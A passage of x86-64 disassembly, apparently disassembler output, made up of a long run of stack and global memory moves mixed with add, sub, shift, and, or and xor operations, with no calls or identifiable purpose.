mov rcx, qword [rsp + 0x95b0]
mov qword [rsp + 0xa2d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa2d0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9370]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9a48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xeb], al
movzx eax, byte [rsp + 0x22c]
movzx ecx, byte [rsp + 0x205]
sub eax, ecx
mov rcx, qword [0x1401cd8b0]
mov byte [rcx], al
movsx eax, word [rsp + 0x15e8]
mov rcx, qword [rsp + 0x9488]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x16a0], ax
lea rax, [rsp + 0x23f]
mov qword [rsp + 0xa2d8], rax
movzx eax, word [rsp + 0x1638]
mov rcx, qword [0x1401cd888]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x15a8], ax
movzx eax, word [rsp + 0x163c]
mov rcx, qword [rsp + 0x9870]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9a10]
mov word [rcx], ax
mov eax, dword [rsp + 0x4f2c]
mov dword [rsp + 0x50a4], eax
mov rax, qword [rsp + 0x9588]
mov rcx, qword [0x1401cc020]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x91a0], rax
lea rax, [rsp + 0x9188]
mov qword [rsp + 0xa2e0], rax
mov rax, qword [rsp + 0x91f0]
mov rcx, qword [rsp + 0x8f60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9868]
mov dword [rcx], eax
lea rax, [rsp + 0x15d8]
mov qword [0x1401cd9f0], rax
movzx eax, byte [0x1401cc009]
mov rcx, qword [rsp + 0xa120]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x25e], al
mov rax, qword [rsp + 0xa0a0]
movzx eax, byte [rax]
mov byte [rsp + 0x273], al
movsx eax, word [rsp + 0x1628]
mov rcx, qword [0x1401cd740]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x97e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9430]
movzx eax, byte [rax]
mov byte [rsp + 0x274], al
mov rax, qword [rsp + 0x9618]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9aa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e20], rax
lea rax, [rsp + 0x93e0]
mov qword [rsp + 0xa2e8], rax
mov eax, dword [rsp + 0x4efc]
mov ecx, dword [rsp + 0x4f9c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5050], eax
mov eax, dword [rsp + 0x500c]
movzx ecx, al
mov eax, dword [rsp + 0x4c88]
shr eax, cl
mov rcx, qword [rsp + 0x9ce8]
mov dword [rcx], eax
lea rax, [rsp + 0x164c]
mov qword [0x1401cd9f8], rax
movzx eax, word [rsp + 0x15e8]
mov word [rsp + 0x1718], ax
mov rax, qword [rsp + 0x9410]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9f40]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x26b], al
lea rax, [rsp + 0x1e4]
mov qword [rsp + 0xa2f0], rax
movsx eax, byte [rsp + 0x143]
movsx ecx, byte [0x1401cc03a]
or eax, ecx
mov byte [rsp + 0x1e4], al
mov rax, qword [rsp + 0xa250]
mov rcx, qword [rsp + 0x91f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9988]
mov dword [rcx], eax
lea rax, [rsp + 0x9b68]
mov qword [rsp + 0xa2f8], rax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0x9d30]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9c00]
mov qword [rcx], rax
lea rax, [rsp + 0x4e40]
mov qword [rsp + 0xa300], rax
mov rax, qword [rsp + 0x8f30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9028]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cd714], ax
mov rax, qword [0x1401cd918]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9138]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8fa0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9358]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0x8fc8]
movzx eax, word [rax]
mov word [rsp + 0x171c], ax
movzx eax, word [0x1401cc0a4]
movzx ecx, word [rsp + 0x14fc]
sub eax, ecx
mov word [rsp + 0x15e4], ax
lea rax, [rsp + 0x47c4]
mov qword [rsp + 0xa308], rax
mov rax, qword [rsp + 0x96d8]
mov rcx, qword [rsp + 0x9b88]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9168]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa0f0]
mov ecx, dword [rsp + 0x4fec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4fe4], eax
mov rax, qword [rsp + 0x9ef0]
mov qword [rsp + 0xa310], rax
mov rax, qword [rsp + 0x8d78]
movzx eax, byte [rax]
mov rcx, qword [0x1401cd868]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc057], al
movsx eax, byte [rsp + 0x1e8]
mov rcx, qword [rsp + 0x9ba8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9c58]
mov byte [rcx], al
mov rax, qword [rsp + 0x8fe8]
movzx eax, word [rax]
mov word [rsp + 0x1720], ax
movzx eax, word [rsp + 0x1500]
movzx ecx, word [rsp + 0x170c]
shl eax, cl
mov rcx, qword [rsp + 0x9870]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f40]
movzx eax, byte [rax]
mov byte [rsp + 0x275], al
mov rax, qword [rsp + 0x8d58]
mov rcx, qword [rsp + 0x9168]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x9db8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x95e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4fa0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9528]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9110]
movzx ecx, al
mov rax, qword [rsp + 0x9310]
sar rax, cl
mov qword [rsp + 0x8360], rax
mov rax, qword [rsp + 0xa2b8]
mov rcx, qword [rsp + 0x9558]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x50a4], eax
movzx eax, word [rsp + 0x16ac]
mov word [0x1401cda00], ax
movzx eax, word [rsp + 0x15d4]
mov word [rsp + 0x1724], ax
mov rax, qword [rsp + 0xa120]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e9]
sub eax, ecx
mov byte [rsp + 0x1ef], al
mov rax, qword [rsp + 0xa0b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f70]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9850]
mov word [rcx], ax
mov rax, qword [rsp + 0x9ee0]
movzx eax, word [rax]
mov word [rsp + 0x1728], ax
mov rax, qword [rsp + 0x9270]
mov ecx, dword [rsp + 0x4f04]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x90e8]
mov dword [rcx], eax
lea rax, [0x1401cc028]
mov qword [rsp + 0xa318], rax
mov rax, qword [rsp + 0x9b78]
mov ecx, dword [rsp + 0x5030]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5018], eax
mov rax, qword [rsp + 0x90d8]
mov rcx, qword [rsp + 0x9200]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9418], rax
movsx eax, byte [rsp + 0x24b]
mov rcx, qword [rsp + 0x9ac8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc05a], al
movzx eax, byte [rsp + 0x21b]
mov byte [rsp + 0x276], al
movzx eax, byte [rsp + 0x1b1]
movzx ecx, byte [rsp + 0x265]
sub eax, ecx
mov rcx, qword [rsp + 0x9900]
mov byte [rcx], al
mov rax, qword [rsp + 0x9cd8]
movzx eax, word [rax]
mov word [rsp + 0x172c], ax
mov rax, qword [rsp + 0x9848]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9ea0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x247], al
lea rax, [rsp + 0x4ee8]
mov qword [rsp + 0xa320], rax
mov rax, qword [rsp + 0xa248]
mov rcx, qword [0x1401cc028]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa2f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4fa8]
mov ecx, dword [rsp + 0x479c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9270]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9450]
mov rax, qword [rax]
mov qword [rsp + 0xa328], rax
mov rax, qword [0x1401cd990]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8fe8]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401cc04c], ax
mov rax, qword [rsp + 0xa2b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x94a8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9ec8]
mov word [rcx], ax
lea rax, [rsp + 0x251]
mov qword [rsp + 0xa330], rax
movzx eax, word [0x1401cc0b8]
mov rcx, qword [rsp + 0xa268]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1558], ax
mov rax, qword [rsp + 0xa1b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9630]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x99e0]
mov byte [rcx], al
mov eax, dword [rsp + 0x5048]
mov dword [rsp + 0x50a8], eax
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x4fe4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9378]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9a00]
mov qword [rsp + 0xa338], rax
mov rax, qword [rsp + 0xa2e0]
mov rcx, qword [rsp + 0x93e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa200], rax
movzx eax, byte [rsp + 0x26f]
mov rcx, qword [rsp + 0x95d8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x95c8]
mov byte [rcx], al
movsx eax, word [rsp + 0x14dc]
movsx ecx, word [rsp + 0x168c]
add eax, ecx
mov word [0x1401cc0c4], ax
movzx eax, word [rsp + 0x161c]
mov word [rsp + 0x1730], ax
mov rax, qword [rsp + 0xa018]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98a8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9fb0]
mov byte [rcx], al
movsx eax, word [rsp + 0x1674]
mov rcx, qword [rsp + 0x92c8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xfc4], ax
mov rax, qword [rsp + 0x90e8]
mov eax, dword [rax]
mov ecx, dword [0x1401cd720]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9e20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9b78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ee8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9ec0]
mov dword [rcx], eax
lea rax, [rsp + 0xa2c8]
mov qword [rsp + 0xa340], rax
mov rax, qword [rsp + 0x9780]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa238]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9500], rax
movzx eax, byte [rsp + 0x1f3]
mov byte [rsp + 0x277], al
movsx eax, byte [rsp + 0x20c]
movsx ecx, byte [rsp + 0x22f]
sar eax, cl
mov byte [0x1401cc00a], al
movsx eax, word [rsp + 0x16e4]
mov rcx, qword [rsp + 0x9a90]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x15e0], ax
lea rax, [rsp + 0x1538]
mov qword [rsp + 0xa348], rax
movzx eax, word [rsp + 0x1518]
mov rcx, qword [rsp + 0x9da8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x14e4], ax
mov rax, qword [rsp + 0x86e8]
mov rcx, qword [rsp + 0x9a58]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fb0], rax
lea rax, [rsp + 0x4ffc]
mov qword [rsp + 0xa350], rax
mov eax, dword [0x1401cd720]
mov ecx, dword [rsp + 0x4ec8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4dd8], eax
lea rax, [rsp + 0x9660]
mov qword [rsp + 0xa358], rax
mov rax, qword [rsp + 0x9b08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1570], ax
movsx eax, byte [rsp + 0x209]
mov rcx, qword [0x1401cd920]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [str.Qp2jCg_f_], al
mov rax, qword [rsp + 0x99e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x22b]
add eax, ecx
mov byte [rsp + 0x9b], al
lea rax, [rsp + 0x251]
mov qword [rsp + 0xa360], rax
mov rax, qword [rsp + 0x9070]
movzx eax, word [rax]
movzx ecx, word [0x1401cc0a4]
sub eax, ecx
mov word [rsp + 0x121c], ax
mov rax, qword [rsp + 0x9f18]
mov eax, dword [rax]
mov dword [rsp + 0x50ac], eax
mov rax, qword [rsp + 0x9820]
mov rcx, qword [rsp + 0x9078]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x96d0], rax
mov rax, qword [rsp + 0x9060]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ecc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9d38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9210]
mov qword [rsp + 0xa368], rax
mov rax, qword [rsp + 0x9710]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x99f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x112], al
lea rax, [0x1401cc0c0]
mov qword [0x1401cda08], rax
lea rax, [rsp + 0x16e8]
mov qword [rsp + 0xa370], rax
mov rax, qword [rsp + 0x9fb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa298]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa038]
mov byte [rcx], al
mov rax, qword [rsp + 0x99f0]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cd78e]
or eax, ecx
mov byte [rsp + 0x1eb], al
movzx eax, word [rsp + 0x14e8]
mov word [rsp + 0x1734], ax
mov rax, qword [rsp + 0x9b28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5014]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9b78]
mov dword [rcx], eax
lea rax, [rsp + 0x97b0]
mov qword [rsp + 0xa378], rax
mov eax, dword [rsp + 0x4f44]
mov rcx, qword [rsp + 0x9e20]
mov qword [rsp + 0xa380], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa380]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5054], eax
lea rax, [rsp + 0x99c8]
mov qword [rsp + 0xa388], rax
movzx eax, byte [rsp + 0x218]
mov byte [0x1401cd7de], al
mov rax, qword [0x1401cd8f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fc8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1580], ax
mov rax, qword [rsp + 0x90e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x93e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x236], al
lea rax, [rsp + 0x243]
mov qword [rsp + 0xa390], rax
movsx eax, word [rsp + 0x14f4]
movsx ecx, word [rsp + 0x1660]
and eax, ecx
mov word [rsp + 0x1564], ax
lea rax, [rsp + 0x4cd4]
mov qword [rsp + 0xa398], rax
mov rax, qword [rsp + 0x90f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9958]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9bc0], rax
mov rax, qword [rsp + 0xa0c8]
mov rcx, qword [rsp + 0x9918]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4fc0], eax
mov rax, qword [rsp + 0xa210]
mov rax, qword [rax]
mov qword [rsp + 0xa3a0], rax
movzx eax, byte [rsp + 0x260]
mov rcx, qword [rsp + 0x8fb8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc00e], al
movsx eax, word [rsp + 0x172c]
movsx ecx, word [rsp + 0x16d8]
sub eax, ecx
mov rcx, qword [rsp + 0x9828]
mov word [rcx], ax
mov rax, qword [rsp + 0x9f60]
movzx eax, byte [rax]
mov byte [rsp + 0x278], al
movzx eax, byte [rsp + 0x1fb]
movzx ecx, byte [rsp + 0x277]
add eax, ecx
mov byte [rsp + 0x256], al
mov rax, qword [0x1401cd888]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1510]
add eax, ecx
mov rcx, qword [rsp + 0x9498]
mov word [rcx], ax
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
mov dword [rsp + 0x50b0], eax
mov rax, qword [rsp + 0x96f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e9c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4dc4], eax
lea rax, [rsp + 0x9ed8]
mov qword [rsp + 0xa3a8], rax
mov rax, qword [rsp + 0x94a0]
mov rcx, qword [rsp + 0x9888]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa2e8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1720]
mov rcx, qword [0x1401cd940]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1401cc0c8], ax
movzx eax, byte [rsp + 0x25c]
mov byte [rsp + 0x279], al
movzx eax, word [rsp + 0x1580]
mov rcx, qword [rsp + 0x9778]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9070]
mov word [rcx], ax
movsx eax, byte [rsp + 0x24d]
mov rcx, qword [rsp + 0x8d00]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1e4], al
lea rax, [rsp + 0x166c]
mov qword [rsp + 0xa3b0], rax
mov rax, qword [rsp + 0x9158]
mov ecx, dword [rsp + 0x5084]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5020], eax
mov eax, dword [rsp + 0x4f64]
mov dword [rsp + 0x50b4], eax
mov rax, qword [rsp + 0xa2e0]
mov rcx, qword [rsp + 0x9c20]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9da0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ed8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa388]
mov qword [rcx], rax
mov rax, qword [0x1401cd7a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9f48]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401cd7da], al
mov rax, qword [rsp + 0x9088]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x96e0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1b7], al
movsx eax, word [rsp + 0x10f8]
movsx ecx, word [0x1401cc058]
sub eax, ecx
mov rcx, qword [rsp + 0x9950]
mov word [rcx], ax
lea rax, [rsp + 0x14d4]
mov qword [rsp + 0xa3b8], rax
mov rax, qword [rsp + 0x9eb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x227], al
mov rax, qword [rsp + 0xa058]
mov rcx, qword [rsp + 0x9130]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa3a0], rax
mov rax, qword [rsp + 0x9440]
mov eax, dword [rax]
mov dword [rsp + 0x50b8], eax
mov rax, qword [rsp + 0x96d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8dd8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9f68]
mov qword [rcx], rax
lea rax, [rsp + 0x4fc0]
mov qword [rsp + 0xa3c0], rax
movzx eax, word [0x1401cc078]
movzx ecx, word [rsp + 0x170c]
sub eax, ecx
mov word [0x1401cc0cc], ax
mov rax, qword [rsp + 0xa038]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x24c]
sub eax, ecx
mov rcx, qword [rsp + 0xa150]
mov byte [rcx], al
mov rax, qword [0x1401cd7f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9950]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1620], ax
mov rax, qword [rsp + 0xa220]
movzx eax, byte [rax]
mov byte [rsp + 0x27a], al
movsx eax, byte [rsp + 0x20a]
mov rcx, qword [rsp + 0x9d10]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1fd], al
lea rax, [rsp + 0x9198]
mov qword [rsp + 0xa3c8], rax
mov rax, qword [rsp + 0xa1e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9d18]
mov qword [rsp + 0xa3d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa3d0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4ec0], eax
lea rax, [rsp + 0x4fac]
mov qword [rsp + 0xa3d8], rax
mov rax, qword [rsp + 0x9078]
mov rcx, qword [rsp + 0x9438]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9908]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1644]
mov rcx, qword [rsp + 0x9340]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1401cd770]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x235]
and eax, ecx
mov byte [rsp + 0x217], al
mov rax, qword [0x1401cda08]
movzx eax, word [rax]
mov word [rsp + 0x1738], ax
movzx eax, word [rsp + 0x1508]
mov rcx, qword [rsp + 0xa370]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1348], ax
movzx eax, byte [rsp + 0x1eb]
mov byte [rsp + 0x27b], al
mov rax, qword [rsp + 0x95b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa230], rax
mov rax, qword [rsp + 0x91d0]
mov ecx, dword [rsp + 0x4fc8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9800]
mov dword [rcx], eax
lea rax, [rsp + 0x4e80]
mov qword [rsp + 0xa3e0], rax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0x9438]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x97a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x91e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x92a0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401cd9a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9328]
movzx eax, word [rax]
mov word [rsp + 0x173c], ax
movsx eax, word [0x1401cc058]
mov rcx, qword [rsp + 0x9748]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1628], ax
mov rax, qword [rsp + 0xa1c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9540]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x23a], al
movzx eax, word [rsp + 0x15a0]
mov word [rsp + 0x1740], ax
mov rax, qword [rsp + 0xa0f0]
mov eax, dword [rax]
mov ecx, dword [0x1401cd710]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9fc0]
mov dword [rcx], eax
lea rax, [rsp + 0x50ac]
mov qword [rsp + 0xa3e8], rax
mov rax, qword [0x1401cc010]
mov rcx, qword [rsp + 0xa270]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa140], rax
lea rax, [rsp + 0x9d00]
mov qword [rsp + 0xa3f0], rax
mov rax, qword [rsp + 0x8ca8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x275]
xor eax, ecx
mov byte [rsp + 0x1e7], al
lea rax, [rsp + 0x241]
mov qword [0x1401cda10], rax
mov rax, qword [rsp + 0xa268]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x99d8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8fc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9a90]
movzx eax, word [rax]
mov word [rsp + 0x1744], ax
mov rax, qword [rsp + 0x9ee8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x273]
shl eax, cl
mov rcx, qword [rsp + 0x9810]
mov byte [rcx], al
mov rax, qword [rsp + 0x9eb8]
mov eax, dword [rax]
mov dword [rsp + 0x50bc], eax
mov rax, qword [rsp + 0x9258]
mov rcx, qword [rsp + 0x8b40]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8f90], rax
mov rax, qword [rsp + 0xa368]
mov rcx, qword [rsp + 0x9b88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ce0], rax
mov eax, dword [rsp + 0x4f34]
mov ecx, dword [0x1401cd710]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x482c], eax
movzx eax, word [rsp + 0x1530]
movzx ecx, word [rsp + 0x1134]
add eax, ecx
mov rcx, qword [rsp + 0x98f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9828]
movsx eax, word [rax]
movsx ecx, word [0x1401cc070]
sub eax, ecx
mov rcx, qword [0x1401cd9c8]
mov word [rcx], ax
lea rax, [rsp + 0x9a]
mov qword [rsp + 0xa3f8], rax
mov rax, qword [rsp + 0x9ea8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x99a8]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x16ac], ax
mov rax, qword [0x1401cd8f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x147c]
and eax, ecx
mov rcx, qword [rsp + 0x9080]
mov word [rcx], ax
lea rax, [rsp + 0xa2c8]
mov qword [rsp + 0xa400], rax
mov eax, dword [rsp + 0x4f68]
mov ecx, dword [rsp + 0x4e98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5028], eax
mov eax, dword [rsp + 0x4ecc]
mov dword [rsp + 0x50c0], eax
mov rax, qword [rsp + 0x9f58]
mov rcx, qword [rsp + 0x9238]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa010], rax
mov rax, qword [rsp + 0x9b08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14c8]
add eax, ecx
mov word [rsp + 0x14e8], ax
movzx eax, word [rsp + 0x16a4]
mov word [0x1401cda18], ax
mov rax, qword [rsp + 0x9208]
movzx eax, byte [rax]
mov byte [rsp + 0x27c], al
movsx eax, byte [rsp + 0x80]
movsx ecx, byte [rsp + 0x1f7]
sub eax, ecx
mov rcx, qword [rsp + 0x9630]
mov byte [rcx], al
lea rax, [rsp + 0x25c]
mov qword [rsp + 0xa408], rax
mov rax, qword [rsp + 0x9820]
mov rax, qword [rax]
mov rcx, qword [0x1401cc020]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ba0], rax
mov rax, qword [rsp + 0x9b68]
mov qword [rsp + 0xa410], rax
mov eax, dword [rsp + 0x4fb4]
mov rcx, qword [rsp + 0x93a0]
mov qword [rsp + 0xa418], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa418]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4ea4], eax
mov eax, dword [rsp + 0x4e48]
mov rcx, qword [rsp + 0xa288]
mov qword [rsp + 0xa420], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa420]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9240]
mov dword [rcx], eax
lea rax, [rsp + 0x24c]
mov qword [rsp + 0xa428], rax
movzx eax, word [rsp + 0x163c]
mov rcx, qword [rsp + 0x9708]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401cc0d0], ax
movzx eax, byte [rsp + 0x221]
mov rcx, qword [rsp + 0x8ef8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9160]
mov byte [rcx], al
movzx eax, byte [rsp + 0x207]
mov byte [rsp + 0x27d], al
movsx eax, word [rsp + 0x169c]
movsx ecx, word [0x1401cd988]
add eax, ecx
mov word [rsp + 0x14d8], ax
movsx eax, byte [rsp + 0xeb]
movsx ecx, byte [rsp + 0x276]
sub eax, ecx
mov rcx, qword [rsp + 0x9218]
mov byte [rcx], al
mov eax, dword [rsp + 0x4fd0]
mov dword [rsp + 0x50c4], eax
mov rax, qword [rsp + 0x9390]
mov rcx, qword [0x1401cc028]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9750], rax
lea rax, [rsp + 0x5008]
mov qword [rsp + 0xa430], rax
mov rax, qword [rsp + 0x9908]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ed8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x94d0], rax
movsx eax, word [0x1401cd820]
mov rcx, qword [rsp + 0x9ad8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc0c0], ax
mov rax, qword [rsp + 0xa0e0]
